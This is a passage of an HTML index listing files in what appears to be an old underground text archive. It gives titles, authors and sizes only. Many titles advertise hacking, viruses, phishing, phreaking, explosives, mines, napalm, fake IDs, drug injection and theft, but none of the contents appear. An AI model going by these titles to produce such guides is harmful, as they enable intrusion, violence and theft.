<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/modern_piracy.txt">modern_piracy.txt</A> <tab to=T><TD> 4114<BR><TD> Modern Piracy, by ProdigyPuNk (January 23, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/modernmanifesto.txt">modernmanifesto.txt</A> <tab to=T><TD> 1618<BR><TD> Hacking: A Modern Manifesto, by Acidus (January 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/modsys.txt">modsys.txt</A> <tab to=T><TD> 2755<BR><TD> A List of Files that Can be Modified by Resource Hacker, by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/molotov.ana">molotov.ana</A> <tab to=T><TD> 46145<BR><TD> Molotov's Cookbook, by Molotov Poison (November 2011)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/moneyvirus.txt">moneyvirus.txt</A> <tab to=T><TD> 1347<BR><TD> How to Make Money From Viruses, by Son of the Dark Angel (October, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/monochrom-tomann.txt">monochrom-tomann.txt</A> <tab to=T><TD> 20306<BR><TD> GEORG PAUL THOMANN, or A Short History Of A Collaborative Conspiracy by Johannes Grenzfurthner, monochrom, Vienna, Austria (January 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/movies.txt">movies.txt</A> <tab to=T><TD> 4629<BR><TD> How to Piss People Off at the Movies, by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/moving.txt">moving.txt</A> <tab to=T><TD> 3242<BR><TD> Movement Under Fire, by Boone (June 8, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mozilla121.txt">mozilla121.txt</A> <tab to=T><TD> 7755<BR><TD> The Mozilla 1.2.1 Mini-FAQ by ParanoidXE (January 22, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mrbs.txt">mrbs.txt</A> <tab to=T><TD> 4188<BR><TD> How to Bullshit Properly, by Stagman44 (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/msnfaq.txt">msnfaq.txt</A> <tab to=T><TD> 7567<BR><TD> The MSN Broadband Mini-FAQ, by ParanoidXE (January 22, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mtracker.txt">mtracker.txt</A> <tab to=T><TD> 12926<BR><TD> Milkytracker: The Fantastic Guide, by Null 1024 (Beta 2.41) (October 25, 2011)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/netslum.txt">netslum.txt</A> <tab to=T><TD> 15235<BR><TD> Is Abandoning the Internet the Next Big Thing? By John Walker (May 12, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/netzero.txt">netzero.txt</A> <tab to=T><TD> 4306<BR><TD> Having Fun with NetZero (A Free ISP) by Sli-p (August 17, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/netzerocrk.txt">netzerocrk.txt</A> <tab to=T><TD> 3017<BR><TD> Cracking NetZero by The Code Kid (July 26, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/newbietext.txt">newbietext.txt</A> <tab to=T><TD> 7494<BR><TD> A Guide for Newbies: Getting Knowledge, by DigitalWolfX (March 31, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/newfakeid.txt">newfakeid.txt</A> <tab to=T><TD> 101322<BR><TD> Creating a New Fake ID In America (March 12, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/newshoes.txt">newshoes.txt</A> <tab to=T><TD> 1732<BR><TD> Getting New Shoes, by PainInVmthuafuckinass (March 18, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/nexus.txt">nexus.txt</A> <tab to=T><TD> 125296<BR><TD> Nexus, by Andy Thomas (June, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/nhc.txt">nhc.txt</A> <tab to=T><TD> 1164<BR><TD> NFO File for the Night Hackz Crew (1997-2000) by xLiner of the NhC
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/night.txt">night.txt</A> <tab to=T><TD> 4971<BR><TD> Phun in the Night, by Enphorcer (February 25, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ninjabeer.txt">ninjabeer.txt</A> <tab to=T><TD> 5805<BR><TD> How to Steal Beer the Ninja Way, by Lucid Impulses (February 5, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/nitro.txt">nitro.txt</A> <tab to=T><TD> 9745<BR><TD> Making Nitro, by Simon (March 18, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/nlg.txt">nlg.txt</A> <tab to=T><TD> 8388<BR><TD> Neophyte's Guide to Learning by RaT of SoldierX.com, Blackcode.com, LoTd (October, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/nlintro.txt">nlintro.txt</A> <tab to=T><TD> 18419<BR><TD> An Introduction to Naked Lunch by William S. Burroughs (2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/nokia3390.txt">nokia3390.txt</A> <tab to=T><TD> 2733<BR><TD> Nokia 3390 Phone Tips and Tricks, by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/nokia3390mf.txt">nokia3390mf.txt</A> <tab to=T><TD> 2553<BR><TD> The Nokia 3390 M. Faq by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/normandy.txt">normandy.txt</A> <tab to=T><TD> 145622<BR><TD> The Ring and the Road to St. Lo, by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/note.txt">note.txt</A> <tab to=T><TD> 22007<BR><TD> Bill Zeller's Suicide Note (2011)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/nothing.txt">nothing.txt</A> <tab to=T><TD> 5497<BR><TD> Cola Presents: Hydroplane, by Zarathustra (March 11, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/notphrack.txt">notphrack.txt</A> <tab to=T><TD> 22279<BR><TD> Not Phrack 64, Issue #1, Volume #1 (September 22, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ntr2hak.txt">ntr2hak.txt</A> <tab to=T><TD> 3895<BR><TD> A Night to Remember Part II by Hakka (Story) (February 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ntrhack.txt">ntrhack.txt</A> <tab to=T><TD> 2264<BR><TD> A Night to Remember by Hakka (Story) (February 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/odyssey.txt">odyssey.txt</A> <tab to=T><TD> 4271<BR><TD> The Odyssey of Cryus, Part 1 by Alienbellhop (February 5, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ofphonescan.txt">ofphonescan.txt</A> <tab to=T><TD> 283<BR><TD> The Art of Phone Scanning, by Acid Pool (February 8, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/one_cent.txt">one_cent.txt</A> <tab to=T><TD> 1757<BR><TD> One Cent, by ad (May, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/onfreedom.txt">onfreedom.txt</A> <tab to=T><TD> 405<BR><TD> FREEDOM, by Duo Pros (January 30, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/oozle.txt">oozle.txt</A> <tab to=T><TD> 9727<BR><TD> Bypassing Mechandise Alarms, by Oozle (March 2, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/open_lock.txt">open_lock.txt</A> <tab to=T><TD> 2712<BR><TD> How to Open a Permutation Lock by Unlock (February, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/orangebox.txt">orangebox.txt</A> <tab to=T><TD> 2292<BR><TD> Introducing the Orange Box, by Remanufacture (July 17, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ottokumm.txt">ottokumm.txt</A> <tab to=T><TD> 45241<BR><TD> Otto Kumm Recollects by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ouija.txt">ouija.txt</A> <tab to=T><TD> 6330<BR><TD> Your Own, Personal Ouija, by Propaganda66 (August 17, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ovb.txt">ovb.txt</A> <tab to=T><TD> 204624<BR><TD> Odhinn Vodoo Buddha Version 1.1d by Terry Washington aka Phoenixx (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/owls.txt">owls.txt</A> <tab to=T><TD> 6778<BR><TD> A Collection of ASCII Owls from 1999, from Tommi Raulahti (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/oxiclean.txt">oxiclean.txt</A> <tab to=T><TD> 14516<BR><TD> The Truth Behind OxiClean, by The Keeper (September 20, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/pagerbomb.txt">pagerbomb.txt</A> <tab to=T><TD> 3563<BR><TD> Bomb Ignition from a Phone (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/paintball.txt">paintball.txt</A> <tab to=T><TD> 1104<BR><TD> Other Paintball Ammo, by Hammer and Nail (January 13, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/pansexual.txt">pansexual.txt</A> <tab to=T><TD> 4609<BR><TD> Pansexual: A Sensual Tale of Pleasure
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/parachute.txt">parachute.txt</A> <tab to=T><TD> 1399<BR><TD> How to Build a Parachute (for Smoking) by MarleySplift (August 27, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/paranoia.txt">paranoia.txt</A> <tab to=T><TD> 14270<BR><TD> A Philosophical Essay on Paranoia, by the Dark Dominator (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/paranoid.txt">paranoid.txt</A> <tab to=T><TD> 6061<BR><TD> Become a Paranoid: It's More Secure, by The Maniac (August 21, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/passwd.txt">passwd.txt</A> <tab to=T><TD> 5595<BR><TD> Everything about /etc/passwd, by KGB (April, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/pathtohack.txt">pathtohack.txt</A> <tab to=T><TD> 3048<BR><TD> Starting Down the Path to Hacking, by Kuso (April, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/payphonephun">payphonephun</A> <tab to=T><TD> 1316<BR><TD> Some Pay Phone Phun: I Killed the Phone! By Gemldan (June 6, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/pcfaq.txt">pcfaq.txt</A> <tab to=T><TD> 8124<BR><TD> PXFAQS.20M.COM TXT Conversion, by ParanoidXE (May 31, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/pcsecurity.txt">pcsecurity.txt</A> <tab to=T><TD> 28199<BR><TD> PC Security (And How to Get By It) by The Dark Knight (TdK) of SoldierX.com (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/peppers.txt">peppers.txt</A> <tab to=T><TD> 2253<BR><TD> Some Fun with Peppers by Pheonixfire187 (August 24, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/pext.txt">pext.txt</A> <tab to=T><TD> 3421<BR><TD> Cryptography with Pext, by Kyro. (May 5, 2014)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/phile1.txt">phile1.txt</A> <tab to=T><TD> 4040<BR><TD> Making a Forest base, by Galvaplex & The Matrix Templars (August 12, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/phile2.txt">phile2.txt</A> <tab to=T><TD> 6256<BR><TD> Making a Forest base, by Galvaplex & The Matrix Templars (Part II) (August 12, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/phishing.txt">phishing.txt</A> <tab to=T><TD> 6963<BR><TD> Phishing For Beginners: Tutorial by _cracked.anarchist (November 25, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/phone.txt">phone.txt</A> <tab to=T><TD> 14572<BR><TD> Basic Phone Security: Making and Breaking it, by Mob Boss (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/phonecam.txt">phonecam.txt</A> <tab to=T><TD> 565<BR><TD> Get a Girl on Yahoo! Cam! by GKiller (June 2, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/phonemodding.txt">phonemodding.txt</A> <tab to=T><TD> 3067<BR><TD> Phone Modding, by Phil (March, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/phones.txt">phones.txt</A> <tab to=T><TD> 993<BR><TD> How to Bash Phones for Profit, by Sab0tage and M0nk of the 231Boyz (June 6, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/phreaking.txt">phreaking.txt</A> <tab to=T><TD> 3294<BR><TD>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/piano.txt">piano.txt</A> <tab to=T><TD> 35506<BR><TD> 72 Piano Chords, by Musician (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/pick.txt">pick.txt</A> <tab to=T><TD> 3396<BR><TD> Picking Locks, by the Impactor
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/pissoff.txt">pissoff.txt</A> <tab to=T><TD> 4281<BR><TD> How To Piss Off Your Neighbor by Gkiller (June 2, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/pizooka.txt">pizooka.txt</A> <tab to=T><TD> 2245<BR><TD> How to Make a Pizooka, by Sick66 (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/plunge.txt">plunge.txt</A> <tab to=T><TD> 3988<BR><TD> Fucking Your Plunger, by the Annoying Nut Bug (February 6, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/pnapalm.txt">pnapalm.txt</A> <tab to=T><TD> 2197<BR><TD> How to Make Plastic/Napalm Explosive by ZERO (October 15, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/poem_a_(child).txt">poem_a_(child).txt</A> <tab to=T><TD> 400<BR><TD> The Children (A Poem) by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/poem_b_(stalker).txt">poem_b_(stalker).txt</A> <tab to=T><TD> 1001<BR><TD> The Stalker (A Poem) by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/poem_g_(why).txt">poem_g_(why).txt</A> <tab to=T><TD> 977<BR><TD> Why? (A Poem) by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/poems.txt">poems.txt</A> <tab to=T><TD> 2232<BR><TD> A Collection of Poems by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/poke.txt">poke.txt</A> <tab to=T><TD> 2221<BR><TD> If I Ruled the World, by Poke (February 26, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/polymorphism.txt">polymorphism.txt</A> <tab to=T><TD> 9639<BR><TD> Tutorial: Polymorphism in Batch by cOrRuPt G3n3t!x (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/popcanfun.txt">popcanfun.txt</A> <tab to=T><TD> 813<BR><TD> How to Make a Pop Can Launcher, by Paco (May 16, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/port513.txt">port513.txt</A> <tab to=T><TD> 2017<BR><TD> The Perils of Port 512, or How to piss off a Linux Administrator in three easy steps by Confucious (December 6, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ports.txt">ports.txt</A> <tab to=T><TD> 3299<BR><TD> Maniac's Guide of Ports In use by Trojans (August 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ppprodos.txt">ppprodos.txt</A> <tab to=T><TD> 7332<BR><TD> Why ProDOS Sucks Sewer Backwash, by The Silver Ghost (March 22, 1987, Retyped 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/prankster.txt">prankster.txt</A> <tab to=T><TD> 7055<BR><TD> NAPSTER: The Stupid Napster Guide by KGB (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/projectmf.txt">projectmf.txt</A> <tab to=T><TD> 2231<BR><TD> How to Call Project MF by SGT. Chargeman (September, 2016)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/protect.txt">protect.txt</A> <tab to=T><TD> 3373<BR><TD> A Guide on How to Protect Yourself While Staying on the Net
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/prox.txt">prox.txt</A> <tab to=T><TD> 4125<BR><TD> Making Improvised Proximity Mines, by MassExodus (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/prox2.txt">prox2.txt</A> <tab to=T><TD> 4225<BR><TD> Making Improvised Proximity Mines, by MassExodus (February, 2004) (Second Revision)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/proxydoc.txt">proxydoc.txt</A> <tab to=T><TD> 32047<BR><TD> Proxies, by Fris (October 18th, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ps2.txt">ps2.txt</A> <tab to=T><TD> 1224<BR><TD> Playing Burned PS2 Games Without a Mod by Sheer Black Family (August 14, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/psy_exp.txt">psy_exp.txt</A> <tab to=T><TD> 16912<BR><TD> Some Psychedelic Experiences on LSD 25 and Psilocybin, by Sunshine (February, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/psyco.quiz.txt">psyco.quiz.txt</A> <tab to=T><TD> 2563<BR><TD> Are You a Psychopath? By David Moore
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/racing.txt">racing.txt</A> <tab to=T><TD> 3706<BR><TD> Some Phun Car Racing, by the Enphorcer (February 25, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/radiobomb.txt">radiobomb.txt</A> <tab to=T><TD> 1409<BR><TD> The Radio Bomb, by Acidous (October 11, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/rage.txt">rage.txt</A> <tab to=T><TD> 1647<BR><TD> Rage's Flint Bomb Fun Thing To Do In School (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/rainynight.txt">rainynight.txt</A> <tab to=T><TD> 4391<BR><TD> Rainy Night: A Story by Nick (December 20, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/rb2000.txt">rb2000.txt</A> <tab to=T><TD> 10783<BR><TD> Converting a Tone Dialer into a Red Box, by Swordkeeper
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/realc--.txt">realc--.txt</A> <tab to=T><TD> 4512<BR><TD> The Real C-- Coder's Guide (Release 2) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/realc--2.txt">realc--2.txt</A> <tab to=T><TD> 4928<BR><TD> The Real C-- Coder's Guide (Release 2) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/realdos.txt">realdos.txt</A> <tab to=T><TD> 8350<BR><TD> The Real DOS User's Guide (Release 3) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/realdos3.txt">realdos3.txt</A> <tab to=T><TD> 19061<BR><TD> The Real DOS User's Guide (Release 3) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/religideas.txt">religideas.txt</A> <tab to=T><TD> 4345<BR><TD> My Ideas on Catholicsm and Christianity, by Frontier Psychiatrist
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/revengebp.txt">revengebp.txt</A> <tab to=T><TD> 23435<BR><TD> Techniques for Revenge by Phone, by Captain B (June 11, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ripoffcc.txt">ripoffcc.txt</A> <tab to=T><TD> 1334<BR><TD> The Easy Guide to Ripping Off Cable Companies, by Pepsi of The Thieves (May 23, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ripschool.ana">ripschool.ana</A> <tab to=T><TD> 698<BR><TD> Ripping Off Your School, by Captain Black (September, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/rmexploit.txt">rmexploit.txt</A> <tab to=T><TD> 546<BR><TD> A Great Little RM Exploit, by iCyDaVe (April, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/rockhurl.txt">rockhurl.txt</A> <tab to=T><TD> 2973<BR><TD> Making a Rock Hurler, by Jeffro (June 11, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/rolljoint.txt">rolljoint.txt</A> <tab to=T><TD> 933<BR><TD> How to Roll a Joint, by SkyHighaTrist (June, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/root.txt">root.txt</A> <tab to=T><TD> 8829<BR><TD> What a Root Can Do To You, by The Maniac (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/royster.txt">royster.txt</A> <tab to=T><TD> 208589<BR><TD> The Oysterville Inheritance, by Andy Thomas (Fiction) (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/run_away.txt">run_away.txt</A> <tab to=T><TD> 4419<BR><TD> How to Successfully Run Away from Home, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ruzz-aqua.txt">ruzz-aqua.txt</A> <tab to=T><TD> 9689<BR><TD> Ruzsland: Aquatic Antics and Other Fun Around Water, by Ruzz (May 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ruzz-economy.txt">ruzz-economy.txt</A> <tab to=T><TD> 4131<BR><TD> Ruzsland: The Ruzsland Economy, by Ruzz (May 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ruzz-fish.txt">ruzz-fish.txt</A> <tab to=T><TD> 5654<BR><TD> Ruzsland: Fish Watching, by Ruzz (May 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ruzz-homestead.txt">ruzz-homestead.txt</A> <tab to=T><TD> 2498<BR><TD> Ruzsland: Homestead Gardening, by Ruzz (May 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ruzz-rambo.txt">ruzz-rambo.txt</A> <tab to=T><TD> 8921<BR><TD> Ruzsland: RAMBO: Ruzz' Awesome Mighty Braun Outdoors, by Ruzz (May 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/satanic.txt">satanic.txt</A> <tab to=T><TD> 3061<BR><TD> Some Satanic Points, by Sick66 (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sawed-off.txt">sawed-off.txt</A> <tab to=T><TD> 5714<BR><TD> Sawed off Shotguns by Zero (March 27, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/scanning1.txt">scanning1.txt</A> <tab to=T><TD> 16262<BR><TD> The Official Guide to Exchange Scanning by The Mob Boss (December 7, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/school.txt">school.txt</A> <tab to=T><TD> 6914<BR><TD> Things Not to Do In School, by MassExodus (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/school2.txt">school2.txt</A> <tab to=T><TD> 2981<BR><TD> Things Not to Do In School, by MassExodus (February, 2004) (Second Revision)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/schoolfunpl.txt">schoolfunpl.txt</A> <tab to=T><TD> 3341<BR><TD> Fun Stuff to Do at School, by Buttschitt (July 9, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/schoolvista.txt">schoolvista.txt</A> <tab to=T><TD> 2529<BR><TD> Some Discoveries about the Schoolvista Program, by Lightning Clip (May, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/scrapwithstyle.txt">scrapwithstyle.txt</A> <tab to=T><TD> 4110<BR><TD> How to Scrap with Style, by Cin (September 15, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sdf.txt">sdf.txt</A> <tab to=T><TD> 3473<BR><TD> The SDF Public Access UNIX System Celebrates 20 Years! by Stephen Jones (June 12, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/selfdefense.txt">selfdefense.txt</A> <tab to=T><TD> 2772<BR><TD> Self-Defence For Minorities by John Locke (August, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sellin.txt">sellin.txt</A> <tab to=T><TD> 985<BR><TD> Selling Oregano, by Hammer and Nail (January 17, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/seriescl.txt">seriescl.txt</A> <tab to=T><TD> 4848<BR><TD> Some New Classes of TV Series by Burnin' of UNKNOWN Prez (November 25th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sestra_teaches.txt">sestra_teaches.txt</A> <tab to=T><TD> 7029<BR><TD> My Sister Teaches Me, by HGPP1 (July, 2013)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/seth.txt">seth.txt</A> <tab to=T><TD> 6413<BR><TD> The Story of Seth, by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sf2move.lst">sf2move.lst</A> <tab to=T><TD> 2144<BR><TD> Street Fighter 2 Movelist by SuperMarioBro (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/shares.txt">shares.txt</A> <tab to=T><TD> 3273<BR><TD> A Windows Open Share Hack, by Phreak 2000
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/shell.text">shell.text</A> <tab to=T><TD> 1680<BR><TD> A Shot Gun Shell Explosive, by Incendie (April 5, 1997)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/shells">shells</A> <tab to=T><TD> 3101<BR><TD> Word = Force x Distance, by Drugabuser, aka Trent
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/shootup.txt">shootup.txt</A> <tab to=T><TD> 7534<BR><TD> How to Shoot Up, by Zero (August 13, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/shoplifta.txt">shoplifta.txt</A> <tab to=T><TD> 1502<BR><TD> How to Shoplift, from Insane Killa (July 7, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/shoutcast.txt">shoutcast.txt</A> <tab to=T><TD> 5926<BR><TD> Creating an Internet Radio Station using Shoutcast, by NeonSavior (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/shrapnel.txt">shrapnel.txt</A> <tab to=T><TD> 1054<BR><TD> A Homemade Shrapnel Bomb, by Yblad (July, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/simple_bang.txt">simple_bang.txt</A> <tab to=T><TD> 619<BR><TD> Simple Bang, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/skipschool.txt">skipschool.txt</A> <tab to=T><TD> 1450<BR><TD> 10 Reasons to Skip School, by John Dough (October 7, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/skullbones.txt">skullbones.txt</A> <tab to=T><TD> 1301<BR><TD> Skull and Bones, by Acid Pool (February 14, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sleepbox.txt">sleepbox.txt</A> <tab to=T><TD> 1643<BR><TD> Building a Sleep Box (A Modified Busy Box) by Sysburn (July, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/slug_torture.txt">slug_torture.txt</A> <tab to=T><TD> 2075<BR><TD> Ways to Kill and Torture a Slug, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/smallown.txt">smallown.txt</A> <tab to=T><TD> 3533<BR><TD> Having Fun in your Small Town, by MassExodus (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/smokedark.txt">smokedark.txt</A> <tab to=T><TD> 1383<BR><TD> The Toxic Smoke Bomb, by D(A)rk (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/snowman.txt">snowman.txt</A> <tab to=T><TD> 2399<BR><TD> The Snowman, by Hakka (Story) (February 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/soaps.txt">soaps.txt</A> <tab to=T><TD> 3399<BR><TD> The Recipe to Writing Soap Opera Schenarios (Release 2) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/social_rules.txt">social_rules.txt</A> <tab to=T><TD> 947<BR><TD> Ten Rules for a Pure Socialistic Society by Dizzie (1999)
